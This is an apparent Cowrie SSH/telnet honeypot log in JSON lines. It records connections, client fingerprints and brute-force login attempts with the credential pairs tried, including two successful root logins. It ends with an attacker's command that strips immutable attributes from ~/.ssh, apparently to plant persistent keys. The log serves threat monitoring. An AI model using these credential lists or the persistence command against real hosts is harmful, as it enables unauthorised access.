{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:08.720776Z","src_ip":"196.188.63.205","session":"3feadcad9514","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:09.594750Z","src_ip":"196.188.63.205","session":"3feadcad9514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:09.807600Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:09.810851Z","src_ip":"196.188.63.205","session":"3feadcad9514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.242.152.189","src_port":44183,"dst_ip":"10.17.0.5","dst_port":23,"session":"29d614dec989","protocol":"telnet","message":"New connection: 117.242.152.189:44183 (10.17.0.5:23) [session: 29d614dec989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:06.505825Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37872,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9d6d0c31a5","protocol":"ssh","message":"New connection: 193.32.162.145:37872 (159.203.135.109:22) [session: 8c9d6d0c31a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:17.487615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:17.491429Z","src_ip":"193.32.162.145","session":"8c9d6d0c31a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:17.606562Z","src_ip":"193.32.162.145","session":"8c9d6d0c31a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123solana","message":"login attempt [ubuntu/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:17.937976Z","src_ip":"193.32.162.145","session":"8c9d6d0c31a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:19.044867Z","src_ip":"193.32.162.145","session":"8c9d6d0c31a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.602372884750366,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:20.108070Z","src_ip":"117.242.152.189","session":"29d614dec989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":44936,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e352f5db4a","protocol":"ssh","message":"New connection: 154.221.28.214:44936 (159.203.135.109:22) [session: b7e352f5db4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:45.624254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:45.628681Z","src_ip":"154.221.28.214","session":"b7e352f5db4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:45.835498Z","src_ip":"154.221.28.214","session":"b7e352f5db4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gera","password":"password","message":"login attempt [gera/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:46.695770Z","src_ip":"154.221.28.214","session":"b7e352f5db4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:47.907336Z","src_ip":"154.221.28.214","session":"b7e352f5db4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":44687,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1a26bbf9c40","protocol":"ssh","message":"New connection: 106.241.31.17:44687 (159.203.135.109:22) [session: f1a26bbf9c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:55.876513Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:34:55.881252Z","src_ip":"106.241.31.17","session":"f1a26bbf9c40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":52470,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aa990907458","protocol":"ssh","message":"New connection: 160.191.244.236:52470 (159.203.135.109:22) [session: 9aa990907458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:14.819041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:14.823874Z","src_ip":"160.191.244.236","session":"9aa990907458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:15.069595Z","src_ip":"160.191.244.236","session":"9aa990907458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"123456","message":"login attempt [rahul/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:16.040250Z","src_ip":"160.191.244.236","session":"9aa990907458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:17.278654Z","src_ip":"160.191.244.236","session":"9aa990907458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":49760,"dst_ip":"159.203.135.109","dst_port":22,"session":"48c808274d87","protocol":"ssh","message":"New connection: 2.57.122.96:49760 (159.203.135.109:22) [session: 48c808274d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:20.934457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:20.941245Z","src_ip":"2.57.122.96","session":"48c808274d87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:21.061441Z","src_ip":"2.57.122.96","session":"48c808274d87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:21.412666Z","src_ip":"2.57.122.96","session":"48c808274d87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:35:22.518480Z","src_ip":"2.57.122.96","session":"48c808274d87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57080,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebc48d88e6da","protocol":"ssh","message":"New connection: 193.32.162.145:57080 (159.203.135.109:22) [session: ebc48d88e6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:29.869375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:29.888047Z","src_ip":"193.32.162.145","session":"ebc48d88e6da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:29.973897Z","src_ip":"193.32.162.145","session":"ebc48d88e6da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123solana","message":"login attempt [solana/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:30.492777Z","src_ip":"193.32.162.145","session":"ebc48d88e6da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:31.595196Z","src_ip":"193.32.162.145","session":"ebc48d88e6da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56098,"dst_ip":"159.203.135.109","dst_port":22,"session":"66e2dfd1700e","protocol":"ssh","message":"New connection: 2.57.122.208:56098 (159.203.135.109:22) [session: 66e2dfd1700e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:41.740269Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:41.845802Z","src_ip":"2.57.122.208","session":"66e2dfd1700e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":34690,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e710e596e30","protocol":"ssh","message":"New connection: 154.221.28.214:34690 (159.203.135.109:22) [session: 5e710e596e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:50.670976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:50.674706Z","src_ip":"154.221.28.214","session":"5e710e596e30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:51.696124Z","src_ip":"154.221.28.214","session":"5e710e596e30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eversec","password":"12345","message":"login attempt [eversec/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:52.301621Z","src_ip":"154.221.28.214","session":"5e710e596e30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:36:53.506767Z","src_ip":"154.221.28.214","session":"5e710e596e30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":59566,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b31a2174fc5","protocol":"ssh","message":"New connection: 160.191.244.236:59566 (159.203.135.109:22) [session: 4b31a2174fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:23.043592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:23.066015Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:23.297140Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qq123456789!","message":"login attempt [root/Qq123456789!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:24.240047Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:24.754172Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:24.757648Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:37:24.761602Z","src_ip":"160.191.244.236","session":"4b31a2174fc5","protocol":"ssh"}
